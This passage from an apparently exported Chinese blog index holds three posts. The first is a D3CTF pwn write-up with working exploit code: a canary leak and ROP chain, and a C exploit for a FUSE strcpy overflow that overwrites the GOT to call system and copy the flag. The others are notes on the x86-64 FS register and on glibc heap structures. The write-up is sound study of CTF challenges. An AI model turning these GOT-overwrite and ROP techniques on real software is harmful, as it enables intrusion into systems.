BYREF __int64 v11; // [rsp+48h] [rbp-28h] unsigned __int64 v12; // [rsp+58h] [rbp-18h] while ( 1 ) { ID = 0LL; v5 = 0LL; expression = 0LL; v7 = 0LL; result = 0LL; v9 = 0LL; message_con = get_message_con(a1); v11 = v1; change_pos(&ID, &message_con); if ( !strncmp(ID, "3x1t", 4uLL) ) break; message_con = get_message_con(a1); v11 = v2; change_pos(&expression, &message_con); message_con = get_message_con(a1); v11 = v3; change_pos(&result, &message_con); sub_6493(ID, v5, result, v9, expression, v7); free(ID); free(expression); free(result); } sub_708D(a1); exit(0);}\n\n关键计算发生在sub_6493,但这个函数比较庞大,笔者只截取关键部分(C++反编译出来的代码真的好多啊)。\nchar expression[280]; // [rsp+130h] [rbp-2120h] BYREFchar result[264]; // [rsp+2130h] [rbp-120h] BYREFmemcpy(result, input_result, a5);memcpy(expression, input_expression, a7);write(1, result, a5 + 64);\n\n反汇编代码没有很好的体现出变量a5是result的长度,笔者也没有从汇编细究,但从函数逻辑的角度来说,这么想是一种直觉,它意味着我们会打印除result外更多的数据,这能让我们泄露canary。再回顾主函数发送消息时,获取result的代码:\nresult_len = read(0, result, 0x1F00uLL);\n\n注意到result的长度,我们可以读入足够多数据使其泄露。\nAttack Test尝试泄露数据:\nsla("solver_id",b"1")sla("expression",b"1")#用足够长的result去填充数组,使得write函数泄露额外数据PAYLOAD_SZ=0x2238-0x2130sla("result",b"1"*(PAYLOAD_SZ-1)) # pedding+'\\x0a'#p.recvuntil(b'result is:')p.recv(2)p.recv(PAYLOAD_SZ)canary=p.recv(8)#leak canaryp.recv(8*3)leak1=u64(p.recv(8))#leak addrelf_base=leak1-0x55f4136819c5+0x000055f41367d000-0x2000#csu=elf_base+0x7470#csu gadget\n\n接下来构造ROP链:\ng=p64(0)*3+p64(elf_base+0x748a)+p64(0)+p64(1)+p64(1)+p64(read_got)+p64(8)+p64(write_got)#write(1,read_got,8)g+=p64(csu)+p64(0)+p64(0)+p64(1)+p64(0)+p64(elf_base+0xC1A0)+p64(24)+p64(read_got)#read(0, malloc_got,8)g+=p64(csu)+p64(0)+p64(0)+p64(1)+p64(elf_base+0xC1A0+8)+p64(0)+p64(0)+p64(elf_base+0xC1A0)g+=p64(prdi_ret+1)+p64(prdi_ret)+p64(elf_base+0xC1A0+8)+p64(elf_base+0x7479)#read(0,bss,size)\n\n在构造完成以后,我们就需要期望将ROP写进返回地址以期望事情顺利发展。但我们知道,能够用以溢出的result或者expression被要求输入必须是可打印的,因此这里就需要通过报文长度限制来抢占,使得输入ID这个不被检查的过程中导入了result或者expression。常规发送情况如下:\n\nID 1->expression 1->result 1->ID 2\n\n而接收顺序如下:\n\nID 1->expression 1->result 1->ID 2\n\n接下来我们通过输入长ID来使得报文无法入队,使得接收报文的实际内容变为:\n\nexpression 1->result 1 -> ID 2\n\n这样,第二次发送的ID 2就会被当作result,并且还不会经过可打印检查。\n所以exp接下来这样做:\nsa("solver_id",b"a"*8200)#长报文,不被接收sa("expression",b"a") #短报文,会被当作ID接收sa("result",b"1+1") #短报文,被当作expression接收sa("solver_id",b"a"*PAYLOAD_SZ+canary+rop)#短报文,被当作result接收,但在发送端会认为发送的是IDsa("expression",b"1") #ID sa("result",b"2+1")#expression\n\n最后就只需要顺应rop结束即可:\n#rop中构造了读取函数,会将malloc_got改为system,最后执行对应代码读出flagp.send(p64(leak-libc.sym['read']+libc.sym['system'])+b'cat flag'.ljust(16,b'\\x00'))p.interactive()\n\n\nd3fuse题目是一个fuse文件系统,这里不对其做过多的赘述,一言蔽之就是:\n\n一个能够让用户自定义操作的,用户态的文件系统。\n\n阅读脚本可以知道,/chroot/mnt目录被该文件系统接管,所有在该目录下的操作会由d3fuse进行变换。以及,flag是根目录下,但程序一开始会用chroot将当前根目录切换到chroot,无法直接向上层访问。\n保护检查Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)\n\n程序分析首先根据查阅的资料恢复符号,可以看到该程序接管了如下命令:(部分未标记)\n0000000000404CC0 off_404CC0 dq offset getattr ; DATA XREF: main+49↑o.data.rel.ro:0000000000404CD8 dq offset mkdir.data.rel.ro:0000000000404CE0 dq offset unlink.data.rel.ro:0000000000404CE8 dq offset rmdir.data.rel.ro:0000000000404CF8 dq offset rename.data.rel.ro:0000000000404D18 dq offset truncate.data.rel.ro:0000000000404D20 dq offset open.data.rel.ro:0000000000404D28 dq offset read.data.rel.ro:0000000000404D30 dq offset write.data.rel.ro:0000000000404D40 dq offset sub_401ABA.data.rel.ro:0000000000404D48 dq offset sub_4016E5.data.rel.ro:0000000000404D78 dq offset opendir.data.rel.ro:0000000000404D80 dq offset readdir.data.rel.ro:0000000000404D88 dq offset sub_4017BE.data.rel.ro:0000000000404D98 dq offset init_.data.rel.ro:0000000000404DA0 dq offset sub_401918.data.rel.ro:0000000000404DA8 dq offset sub_401927.data.rel.ro:0000000000404DB0 dq offset create.data.rel.ro:0000000000404E08 _data_rel_ro ends\n\n首先从创建文件的部分开始看,注意到其调用sub_401D74函数,其中有一行漏洞代码:\nv12 = strdup(a2);s2 = __xpg_basename(v12);strcpy(&v15->ptr[48 * v8], s2);\n\nstrcpy是不限定长度的拷贝,而s2是文件名,而文件名一般能无限长,因此可以构成一个溢出。然后根据代码反推文件的结构体:\nstruct fusefile{ char name[32]; int file_type; unsigned int subsize; char *ptr;};//sizeof(fusefile)=48\n\n那么名字就能够向下溢出了。\n那么顺着创建文件的路,从open开始:\n__int64 __fastcall open(__int64 a1, __int64 fd){ int v3; // [rsp+14h] [rbp-Ch] fusefile *v4; // [rsp+18h] [rbp-8h] v4 = find_file(&byte_4050C0, a1); if ( !v4 ) return 4294967294LL; if ( (v4->file_type & 1) != 0 ) return 4294967275LL; if ( (*fd & 0x200) != 0 ) { v3 = sub_401C4E(v4, 0LL); if ( v3 < 0 ) return v3; } *(fd + 16) = v4; return 0LL;}\n\n其会寻找该文件并返回其描述符。\n然后是read函数:\nsize_t __fastcall read(__int64 a1, void *a2, size_t a3, __int64 a4, __int64 a5){ __int64 offset; // [rsp+10h] [rbp-30h] size_t n; // [rsp+18h] [rbp-28h] fusefile *v8; // [rsp+38h] [rbp-8h] n = a3; offset = a4; v8 = *(a5 + 16); if ( a4 > v8->subsize ) offset = v8->subsize; if ( a3 + offset > v8->subsize ) n = v8->subsize - offset; memcpy(a2, &v8->ptr[offset], n); return n;}\n\n会从描述符的ptr处复制数据到指针。\n然后是write:\nsize_t __fastcall write(__int64 a1, const void *a2, size_t a3, __int64 a4, __int64 a5){ __int64 offset; // [rsp+10h] [rbp-40h] unsigned int size; // [rsp+3Ch] [rbp-14h] fusefile *size_4; // [rsp+40h] [rbp-10h] char *v10; // [rsp+48h] [rbp-8h] offset = a4; size_4 = *(a5 + 16); if ( a4 > size_4->subsize ) offset = size_4->subsize; size = offset + a3; if ( (offset + a3) > size_4->subsize ) { v10 = realloc(size_4->ptr, size); if ( !v10 ) return 4294967284LL; size_4->ptr = v10; size_4->subsize = size; } memcpy(&size_4->ptr[offset], a2, a3); return a3;}\n\n将数据复制到ptr指向的内容处。\nAttack Test利用思路:\n\n通过文件名溢出ptr为got表\n读取ptr泄露got内容,得到libc_base\n写got表为system\n令system执行“cp /flag /chroot/flag”\n\n笔者最开始还在好奇,为什么chroot之后,system还能用根目录下的cp来拷贝flag,原因出自sh脚本:\nrunuser -u ctf /d3fuse /chroot/mnt && \\chroot --userspec=1000:1000 /chroot /bin/timeout -k 5 300 /bin/sh\n\n最开始没注意到f3fuse是运行在外部,之后再chroot的,所以该文件是能正常访问外部目录的。\n//musl-gcc -static -o exp exp.c#include <unistd.h>#include <stdlib.h>#include <stdio.h>#include <fcntl.h>#include <string.h>int main(){/*{ .name = 'A'*32; .isdir = 0x10101010; .length = 0x1101010; .context = 0x405070;*/ char* fpath = "/mnt/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x01pP@\\x00"; char* cmd = "/usr/bin/cp /flag /chroot/rwdir/flag"; int fd, r; // call realloc char garbage[0x1000]; memset(garbage, 0x1000, 'A'); fd = open("/mnt/garbage", O_CREAT O_WRONLY O_DIRECT); write(fd, garbage, 0x1000); close(fd); fd = open("/mnt/cmd", O_CREAT O_WRONLY O_DIRECT); write(fd, cmd, strlen(cmd)); close(fd); // trigger strcpy vuln fd = open(fpath, O_CREATO_WRONLY O_DIRECT); if(fd < 0) perror("open"); close(fd); // leak realloc address fd = open("/mnt/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", O_RDWR O_DIRECT); unsigned long libc_addr = 0; r = read(fd, &libc_addr, 8); if(r < 0) perror("read"); printf("read: fd=%d, r=%d, libc=%lx\\n", fd, r, libc_addr); // calculate system address libc_addr += -0x48bf0; // overwrite realloc GOT address to system lseek(fd, 0, 0); r = write(fd, &libc_addr, 8); if(r < 0) perror("write"); printf("write: fd=%d, r=%d, libc=%lx\\n", fd, r, libc_addr); // call system(cmd) fd = open("/mnt/cmd", O_WRONLY O_DIRECT); write(fd, garbage, 0x1000); close(fd);}\n\n\n注:pwn的其他题也看了一下,kheap和内核slub分配器看着难度还行,但我目前还没学到那,之后完成了会另外再复现一下试试的。bpf的wp看了好几篇,但对于我这样最开始就没接触bpf的菜鸡来说好像还是有些晦涩,尤其是那个超长的exp,看着有点头皮发麻,希望之后有时间的话把这个东西从头再做一遍,ebf这个东西对我这个希望未来能研究内核的新手来说相当有吸引力。希望接下来也能继续精进吧。\n\n插画ID:71759763\n","categories":["CTF题记","Note"],"tags":["CTF","D3CTF"]},{"title":"FS寄存器 和 段寄存器线索","url":"/2022/01/31/fs-register/","content":"问题始于一个简单的场景:“canary绕过”,一下子唤起我多年的问题,FS寄存器究竟是什么,在哪里?\n如下是段寄存器的结构示意图:\n\n可以注意到,一个64位的段寄存器分为两个部分,Hidden Part部分包括了我们一般会用到的Base Address。常说的“用户无法访问FS寄存器”应该改为”用户无法直接访问FS寄存器”便不会引起误会了。\n来看看官方手册怎么说:\n\nIntel手册:\nIn order to set up compatibility mode for an application, segment-load instructions (MOV to Sreg, POP Sreg) worknormally in 64-bit mode. An entry is read from the system descriptor table (GDT or LDT) and is loaded in the hiddenportion of the segment register. The descriptor-register base, limit, and attribute fields are all loaded. However, thecontents of the data and stack segment selector and the descriptor registers are ignored. \nWhen FS and GS segment overrides are used in 64-bit mode, their respective base addresses are used in the linearaddress calculation: (FS or GS).base + index + displacement. FS.base and GS.base are then expanded to the fulllinear-address size supported by the implementation. The resulting effective address calculation can wrap acrosspositive and negative addresses; the resulting linear address must be canonical. \nIn 64-bit mode, memory accesses using FS-segment and GS-segment overrides are not checked for a runtime limitnor subjected to attribute-checking. Normal segment loads (MOV to Sreg and POP Sreg) into FS and GS load astandard 32-bit base value in the hidden portion of the segment register. The base address bits above the standard32 bits are cleared to 0 to allow consistency for implementations that use less than 64 bits.\n\n\nAMD手册:\nFS and GS Registers in 64-Bit Mode. Unlike the CS, DS, ES, and SS segments, the FS and GSsegment overrides can be used in 64-bit mode. When FS and GS segment overrides are used in 64-bitmode, their respective base addresses are used in the effective-address (EA) calculation. The completeEA calculation then becomes (FS or GS).base + base + (scale ∗ index) + displacement. The FS.baseand GS.base values are also expanded to the full 64-bit virtual-address size, as shown in Figure 4-5.Any overflow in the 64-bit linear address calculation is ignored and the resulting address instead wrapsaround to the other end of the address space. \nIn 64-bit mode, FS-segment and GS-segment overrides are not checked for limit or attributes. Instead,the processor checks that all virtual-address references are in canonical form. \nSegment register-load instructions (MOV to Sreg and POP Sreg) load only a 32-bit base-address valueinto the hidden portion of the FS and GS segment registers. The base-address bits above the low 32 bitsare cleared to 0 as a result of a segment-register load. When a null selector is loaded into FS or GS, thecontents of the corresponding hidden descriptor register are not altered. \nThere are two methods to update the contents of the FS.base and GS.base hidden descriptor fields. Thefirst is available exclusively to privileged software (CPL = 0). The FS.base and GS.base hiddendescriptor-register fields are mapped to MSRs. Privileged software can load a 64-bit base address incanonical form into FS.base or GS.base using a single WRMSR instruction. The FS.base MSR addressis C000_0100h while the GS.base MSR address is C000_0101h. \nThe second method of updating the FS and GS base fields is available to software running at anyprivilege level (when supported by the implementation and enabled by setting CR4[FSGSBASE]).The WRFSBASE and WRGSBASE instructions copy the contents of a GPR to the FS.base andGS.base fields respectively. When the operand size is 32 bits, the upper doubleword of the base iscleared. WRFSBASE and WRGSBASE are only supported in 64-bit mode\n\n二者均提到的WRFSBASE才是真正对FS进行操作的方式。内核代码如下:\n/* * Set the selector to 0 for the same reason * as %gs above. */if (task == current) {loadseg(FS, 0);x86_fsbase_write_cpu(arg2);/* * On non-FSGSBASE systems, save_base_legacy() expects * that we also fill in thread.fsbase. */task->thread.fsbase = arg2;} else {task->thread.fsindex = 0;x86_fsbase_write_task(task, arg2);}\n\n首先会把GDT或LDT的0号选择子加载到FS里。但根据AMD手册可知:\n\n“When a null selector is loaded into FS or GS, the contents of the corresponding hidden descriptor register are not altered.”\n\nFS的低位并不会做出改变,更加重要的是第二个函数x86_fsbase_write_cpu,实现如下:\nstatic inline void x86_fsbase_write_cpu(unsigned long fsbase){if (static_cpu_has(X86_FEATURE_FSGSBASE))wrfsbase(fsbase);elsewrmsrl(MSR_FS_BASE, fsbase);}\n\n其调用wrfsbase来真正向FS中写入Base等数据。至于wrfsbase是什么,它不过只是一条指令罢了。此前的MSR还在使用FSGSBASE指令来写FS寄存器,但它不如wrfsbase来得效率,因此目前的新版本更多愿意选择wrfsbase。这些指令不同于mov、pop等外部修改指令,它们能够直接操作寄存器内部的值,不会把寄存器的内容外泄出来。\n另外,gdb是怎么拿到fsbase的?具体是方式是什么?来看pwndbg的源代码:\nPTRACE_ARCH_PRCTL = 30ARCH_GET_FS = 0x1003ARCH_GET_GS = 0x1004 @property @pwndbg.memoize.reset_on_stop def fsbase(self): return self._fs_gs_helper(ARCH_GET_FS)\n\n所以结论是,内核向用户提供了接口,用户是能够间接访问FS寄存器的,通过arch_prctl即可。\n综上所述,最后来回答一下开始的几个问题吧。\n问题一:\n\nFS寄存器里放些什么?\n答:放的是一个指针,它会指向一个TLS结构体(对于单线程,或许用TCB更加准确)\n\n问题二:\n\nFS究竟在哪?\n答:这是我最开始学习时产生的误解,我误以为FS并不实际存在,而是虚拟出的一个寄存器。但现在我们知道,FS是真真正正在硬件上存在的寄存器。\n\n问题三:\n\n究竟如何获取FS的内容?\n答:一般的,gdb里直接用fsbase指令就能获取了,或者手动使用call调用arch_prctl也不是不行,内核已经提供了获取fsbase的接口了。\n\n问题四:\n\nFS寄存器的结构是什么?\n上文的图片给出了。\n\n最后,我觉得有点意外也有些特殊的是,在64位模式下,CS、DS、ES、SS寄存器将被直接弃用。这显得有些怪异,毕竟一直以来我都觉得计算机设计得可谓是将冗余降到最低。现在突然多出了几个完全不被使用的寄存器,有点意外。\n另外再记录几项资料:\nhttps://stackoverflow.com/questions/28209582/why-are-the-data-segment-registers-always-null-in-gdb\nhttps://stackoverflow.com/questions/11497563/detail-about-msr-gs-base-in-linux-x86-64\nhttps://stackoverflow.com/questions/23095665/using-gdb-to-read-msrs/59125003#59125003\nhttps://dere.press/2020/10/18/glibc-tls/\nhttps://github.com/pwndbg/pwndbg/blob/89b2df582a323b98c04c5d35e3323ad291514f63/pwndbg/regs.py#L268\nA possible end to the FSGSBASE saga [LWN.net]\n插画ID:93763504\n","categories":["Note","杂物间"]},{"title":"关于如何理解Glibc堆管理器(Ⅰ——堆结构)","url":"/2021/08/07/glibc-1/","content":"​\n 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源。\n首先从 什么是堆 开始讲起吧。        在操作系统加载一个应用程序的时候,会为程序创建一个独立的进程,这个进程拥有着一套独立的内存结构。大致结构如下图:\n​\n         进程在运行之处会创建一块固定大小的堆空间,但当用户需要申请一块超出已有堆空间大小的内存时,操作系统就会调用**sbrk函数(也有其他类似功能的函数)**来延申这块空间\n        但正如我们所见,这样的拓展大小的方式似乎还是有极限的。当即便用sbrk去拓展Heap,也不能够满足用户的需求的时候(至少堆不能覆盖到栈上去,对吧?),操作系统就会使用mmap来为进程开辟额外的空间,这些空间可以被视为“虚拟内存”,它们不需要时刻都加载在内存中,因此能够大大提升堆的空间\n        当然,如果即便如此也不能够满足用户所需要的空间,那这个申请空间的操作就会失败,例如malloc,它会返回一个NULL\n        并且,上图还显示了堆在内存中的结构——一段连续的内存块,记住这个特点将对接下来的理解很有帮助\n如下为一个堆的结构体申明:\nstruct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free).*/ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead.*/ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; };\n\n\n        这可能会给人一种反直觉的印象,因为这个堆结构体似乎太小了,根本不能够像我们印象里的那样去存放数据\n        因此这里需要介绍一下Glibc中堆的寻址方式——隐式链表\n​\n         尽管上图已经很详尽的介绍了堆的存放,但我仍然有必要多做些说明\n        操作系统会将堆划分成多个chunk以分配给程序,也就是malloc请求到的实则是一个chunk\n        而malloc返回的指针实则是指向**chunk+16(在x86中则是+8)**处的地址,究其原因就是因为结构体中的如下两项\nINTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free).*/INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead.*/\n\n\n        只有这两个数据是常驻于结构体中的(这句话有些晦涩,现在看不懂也没关系)\n        它们分别表示上一个chunk的大小和当前chunk的大小,那既然我们能够知道上一个chunk的大小,通过简单的加法就能够找到上一个chunk的位置了,这种方法就被称为隐式链表\n        而在mchunk_size的下面就是用来储存用户需要的数据\n        显然,如果从这个地方开始储存数据,上面给出的结构体就会被破坏了,因为另外四个成员无处安放了,但对于一个正被使用的chunk来说,这是无关紧要的,因此才说它们并不常驻(其中原因牵涉了其他,也将在下文叙述)\n        (但请注意,chunk块的申请是要符合**16字节(或8字节)**对齐的,尽管用户申请的时候看起来相当随意,但操作系统仍然会返回对齐后的堆结构)\n        同时,为了节省资源,mchunk_size的最后三位将用来储存额外的标志位,其意义这里不再赘述,但这里需要再一次强调的是,最后一位 P标记位 指示了上一个chunk是否处于被使用状态\n 尽管它们被用作标记,但在计算chunk大小的时候,我们会默认它们为0以计算合理大小\n 例如(二进制)1000101:Size=1000000,A=1,M=0,P=1\n实际操作:示范程序:\n#include <unistd.h>#include <stdlib.h>#include <string.h>#include <stdio.h>int main(){unsigned long long *chunk1, *chunk2;chunk1=(unsigned long long)malloc(0x80);chunk2=(unsigned long long)malloc(0x80);printf("Chunk1:%p",chunk1);printf("Chunk2:%p",chunk2);return 0;}\n\n\n         通过如下命令去编译这个文件\ngcc -g heap.c -o heap\n\n\n        然后用gdb调试heap文件,我们将断点定在第11行,查看此时的堆\ngdb-peda$ heap0x602000 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}0x602090 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}0x602120 PREV_INUSE { prev_size = 0x0, size = 0x20ee1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n        可以看出,我们申请的chunk大小为0x80,但实际返回的chunk却有0x90(最后的1为标志位)\n        同时,它们是严格的按照堆的顺序往下开辟的,从0x602000到0x602090,没有其他空挡\n        而0x602120是则是被称为“Top chunk”的堆结构,在当前的堆仍然充足的时候,操作系统通过分割Top Chunk来提供malloc的服务\ngdb-peda$ p chunk1$1 = (unsigned long long *) 0x602010gdb-peda$ p chunk2$2 = (unsigned long long *) 0x6020a0\n\n\n        而查看chunk1的内容,发现它指向0x602010而不是0x602000\n        这也作证了前面所说的内容,在这空挡的16字节中储存了常驻的那两个成员,而其他成员则被舍弃了\n图片来源:https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/ ​\n插画ID:72077484\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅹ——完结、补充、注释——Arena、heap_info、malloc_*)","url":"/2021/08/07/glibc-10/","content":"​\n本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。\n        截至到本节内容,该系列算是正式完结了,后续或许会有补充,但基本上都将添加在本节内容中。在前几节中,笔者已经按照自己的思路尽可能详尽的将Glibc的堆管理器Ptmalloc2的方式做了一定的介绍,尽管Ptmalloc2的内容肯定不止这些,但已能大致了解其工作方式了\n        但也有一些必要的内容未曾在前几节中放出,诸如突然出现的Arena,以及Heap的结构等内容没能展开介绍,因此将这些内容补充在本系列最后一节\nheap_info结构体:typedef struct _heap_info{ mstate ar_ptr; /* Arena for this heap. */ struct _heap_info *prev; /* Previous heap. */ size_t size; /* Current size in bytes. */ size_t mprotect_size; /* Size in bytes that has been mprotected PROT_READPROT_WRITE. */ /* Make sure the following data is properly aligned, particularly that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of MALLOC_ALIGNMENT. */ char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];} heap_info;\n\n\n        每一个新开辟的堆都有一个独立的heap_info结构体\n\n        ar_ptr指针指向一个为该堆服务的arena\n      prev指针指向上一个堆的heap_info结构体\n        size记录了堆的大小\n        mprotect_size记录了堆中多大的空间是可读写的\n        pad字符串则用以堆其该结构体,使其能够按照0x10字节对齐(x86中则是8字节对齐)\n\n        这里引用CTF-WIKI中对pad的解释:\n\npad 里负数的缘由是什么呢?\n pad 是为了确保分配的空间是按照 MALLOC_ALIGN_MASK+1 (记为 MALLOC_ALIGN_MASK_1) 对齐的。在 pad 之前该结构体一共有 6 个 SIZE_SZ 大小的成员, 为了确保 MALLOC_ALIGN_MASK_1 字节对齐, 可能需要进行 pad,不妨假设该结构体的最终大小为 MALLOC_ALIGN_MASK_1*x,其中 x 为自然数,那么需要 pad 的空间为 MALLOC_ALIGN_MASK_1 * x - 6 * SIZE_SZ = (MALLOC_ALIGN_MASK_1 * x - 6 * SIZE_SZ) % MALLOC_ALIGN_MASK_1 = 0 - 6 * SIZE_SZ % MALLOC_ALIGN_MASK_1=-6 * SIZE_SZ % MALLOC_ALIGN_MASK_1 = -6 * SIZE_SZ & MALLOC_ALIGN_MASK \n\nmalloc_state:struct malloc_state{ /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem;};\n\n\n\n          __libc_lock_define (, mutex):笔者将其理解为一个开关(锁),如果某个线程对这个堆进行操作时,就会将这个堆锁住,组织其他线程对这个堆的操作,直到其他线程发现这个变量被解开了,那么才会排队进行操作(笔者称锁住时为占用,否则为空闲)\n        flags:一个二进制数,bit0记录FastBins中是否有空闲块,bit1 标识分配区是否能返回连续的虚拟地址空间,具体定义见下面的定义表\n      fastbinsY[NFASTBINS]:一个存放了每个Fast Bin链表头指针的数组\n        top:指向堆中的Top chunk\n        last_reminder:指向最新切割chunk后剩余的部分\n        bins:用于存放各类Bins结构的数组\n       binmap:用来表示堆中是否还有空闲块\n      **  next:**指向下一个相同类型结构体\n    next_free:指向下一个空闲的arena\n        attached_threads:指示有多少个线程连接这个堆\n        system_mem/max_system_mem:表示系统为这个堆分配了多少空间\n\n/* FASTCHUNKS_BIT held in max_fast indicates that there are probably some fastbin chunks. It is set true on entering a chunk into any fastbin, and cleared only in malloc_consolidate. The truth value is inverted so that have_fastchunks will be true upon startup (since statics are zero-filled), simplifying initialization checks. */#define FASTCHUNKS_BIT (1U)#define have_fastchunks(M) (((M)->flags & FASTCHUNKS_BIT) == 0)#define clear_fastchunks(M) catomic_or(&(M)->flags, FASTCHUNKS_BIT)#define set_fastchunks(M) catomic_and(&(M)->flags, ~FASTCHUNKS_BIT)/* NONCONTIGUOUS_BIT indicates that MORECORE does not return contiguous regions. Otherwise, contiguity is exploited in merging together, when possible, results from consecutive MORECORE calls. The initial value comes from MORECORE_CONTIGUOUS, but is changed dynamically if mmap is ever used as an sbrk substitute. */#define NONCONTIGUOUS_BIT (2U)#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)#define set_noncontiguous(M) ((M)->flags = NONCONTIGUOUS_BIT)#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)/* ARENA_CORRUPTION_BIT is set if a memory corruption was detected on the arena. Such an arena is no longer used to allocate chunks. Chunks allocated in that arena before detecting corruption are not freed. */#define ARENA_CORRUPTION_BIT (4U)#define arena_is_corrupt(A) (((A)->flags & ARENA_CORRUPTION_BIT))#define set_arena_corrupt(A) ((A)->flags = ARENA_CORRUPTION_BIT)\n\n\nmalloc_par:struct malloc_par{ /* Tunable parameters */ unsigned long trim_threshold; INTERNAL_SIZE_T top_pad; INTERNAL_SIZE_T mmap_threshold; INTERNAL_SIZE_T arena_test; INTERNAL_SIZE_T arena_max; /* Memory map support */ int n_mmaps; int n_mmaps_max; int max_n_mmaps; /* the mmap_threshold is dynamic, until the user sets it manually, at which point we need to disable any dynamic behavior. */ int no_dyn_threshold; /* Statistics */ INTERNAL_SIZE_T mmapped_mem; INTERNAL_SIZE_T max_mmapped_mem; /* First address handed out by MORECORE/sbrk. */ char *sbrk_base;#if USE_TCACHE /* Maximum number of buckets to use. */ size_t tcache_bins; size_t tcache_max_bytes; /* Maximum number of chunks in each bucket. */ size_t tcache_count; /* Maximum number of chunks to remove from the unsorted list, which aren't used to prefill the cache. */ size_t tcache_unsorted_limit;#endif};\n\n\n        trim_threshold:收缩阈值,默认为128KB,当Top chunk大小超过该值时,调用free将可能引起堆的收缩,减少Top chunk的大小\n        如下内容摘自:https://www.lihaoranblog.cn/malloc_par/\n\n        在一定的条件下,调用free时会收缩内存,减小top chunk的大小。由于mmap分配阈值的动态调整,在free时可能将收缩阈值修改为mmap分配阈值的2倍,在64位系统上,mmap分配阈值最大值为32MB,所以收缩阈值的最大值为64MB,在32位系统上,mmap分配阈值最大值为512KB,所以收缩阈值的最大值为1MB。收缩阈值可以通过函数mallopt()进行设置\n\n        top_pad:默认为0,表示分配堆时是否添加了额外的pad\n        mmap_threshold:mmap分配阈值,默认为128K;32位中最大位512KB,64位中最大位32MB,但mmap会动调调整分配阈值,因此这个值可能会修改\n        arena_test/arena_max:\n        如下内容摘自:https://www.lihaoranblog.cn/malloc_par/\n\n   arena_test和arena_max用于PER_THREAD优化,在32位系统上arena_test默认值为2,64位系统上的默认值为8,当每个进程的分配区数量小于等于arena_test时,不会重用已有的分配区。为了限制分配区的总数,用arena_max来保存分配区的最大数量,当系统中的分配区数量达到arena_max,就不会再创建新的分配区,只会重用已有的分配区。这两个字段都可以使用mallopt()函数设置。\n\n        n_mmaps:当前堆用mmap分配内存块的数量\n        n_mmaps_max:当前堆用mmap分配内存块的最大数量,默认65536,可修改\n        no_dyn_threshold:默认为0,表示开启mmap分配阈值动调调整\n        mmapped_mem/max_mmapped_mem:统计mmap分配的内存大小,通常两值相等\n        在使用Tcache的情况下:\n        tcache_bins/tcache_max_bytes:Tcache链表数量,不会超过tcache_max_bytes\n        tcache_count:每个链表最多可挂的节点数\n        tcache_unsorted_limit:可从Unsorted Bin中拿出chunk的最大数量\nArena:        可能有的文章会将其翻译成“竞技场”,但笔者仍然会用“Arena”去称呼它\n        通常,一个线程只会有一个Arena,主线程的叫做Main_Arena,其他线程的叫做Thread_Arena,但Arena的数量并不会随着线程数而无限增加。其数量上限与系统和处理器核心数相关:\n32位系统中: Number of arena = 2 * number of cores + 1.64位系统中: Number of arena = 8 * number of cores + 1\n\n\n\nCTF-WIKI: 与 thread 不同的是,main_arena 并不在申请的 heap 中,而是一个全局变量,在 libc.so 的数据段。\n\n         正如上述的malloc_par结构体中arena_test参数所说,如果当前Arena的数量小于arena_test,那么堆管理器就会在其他线程创建堆结构的时候为其另外创建一个Arena\n        但如果数量超过了arena_test,那么只在需要的时候才会创建(比如某线程发现其他Arena全都被占用了,为了不因为等待排队而浪费掉时间,于是另外开辟新的Arena)\n笔者对Arena的理解为:\n        一个Arena包括了一系列的堆(可能有的读者会把额外开辟的空间归并到同一个堆里,但笔者习惯于将额外开辟的内存块称为“新堆”以区别最早初始化时的堆,笔者称之为“主堆”,这样在解释内存收缩时,能够将其理解为“归还主堆以外的堆”)\n        